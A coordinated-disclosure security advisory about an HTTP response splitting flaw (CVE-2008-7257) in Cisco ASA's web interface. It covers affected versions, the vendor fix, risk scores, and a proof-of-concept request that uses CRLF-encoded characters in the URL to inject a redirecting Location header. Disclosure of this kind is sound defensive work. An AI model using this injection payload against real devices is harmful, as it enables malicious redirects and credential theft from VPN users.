Cisco ASA HTTP Response Splitting

Type packetstorm
Reporter Daniel King
Modified 2010-06-26T00:00:00


                                            `SecureWorks Security Advisory SWRX-2010-001  
Cisco ASA HTTP Response Splitting Vulnerability   
Advisory Information  
Title: Cisco ASA HTTP Response Splitting Vulnerability   
Advisory ID: SWRX-2010-001  
Advisory URL:  
Date published: Thursday, June 24, 2010  
CVE: CVE-2008-7257  
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)  
Date of last update: Thursday, June 24, 2010  
Vendors contacted: Cisco Systems, Inc.  
Release mode: Coordinated release  
Discovered by: Daniel King, SecureWorks  
Cisco Adaptive Security Appliance (ASA) is vulnerable to HTTP response splitting caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim’s web browser within the security context of the Adaptive Security Appliance site.  
Affected Products  
Cisco ASA version 8.1(1) and earlier.  
Vendor Information, Solutions and Workarounds  
Cisco has released a fix to address this security flaw. Upgrade to ASA software version 8.1(2) to remediate this issue.  
Release Notes are available at:  
The following “Resolved Caveat” is listed in the Release Notes:  
CSCsr09163 webvpn - +webvpn+/index.html http response splitting problem.  
When a user connects to the web interface of the ASA via HTTP, they are automatically redirected to the SSL encrypted version. The web server issues a 301 Moved Permanently status code to the connecting client to facilitate this redirection. If the client appends the carriage return (%0d) and line feed (%0a) characters to the URL, the web server will parse these and allow the client to inject arbitrary HTTP response headers. Using this method, it is possible to inject a second Location header to the client. The client web browser will act on only the last Location header it encounters and redirect there.  
SecureWorks Risk Scoring  
Likelihood (scale of 1-5, with 5 being high): 5 – This device is designed to be on the perimeter of a network to allow remote access.  
Impact (scale of 1-5, with 5 being high): 4 – Leveraging this attack could lead to stolen credentials and access to the VPN.  
CVSS Severity (version 2.0)  
Access Vector: Network exploitable   
Access Complexity: Low  
Authentication: Not required to exploit  
Confidentiality Impact: None  
Integrity Impact: Partial  
Availability Impact: None  
Impact Subscore: 2.9  
Exploitability Subscore: 10  
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)  
Proof of Concept  
GET http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0  
Host: x.x.x.x  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
HTTP/1.0 301 Moved Permanently  
Server: Web Server  
Location: https://x.x.x.x/  
Content-Type: text/html  
Content-Length: 125  
<HEAD><TITLE>Moved</TITLE></HEAD><BODY><A HREF="https://x.x.x.x/  
Revision History  
1.0 Thursday, June 24, 2010 – Initial advisory release  
PGP Keys  
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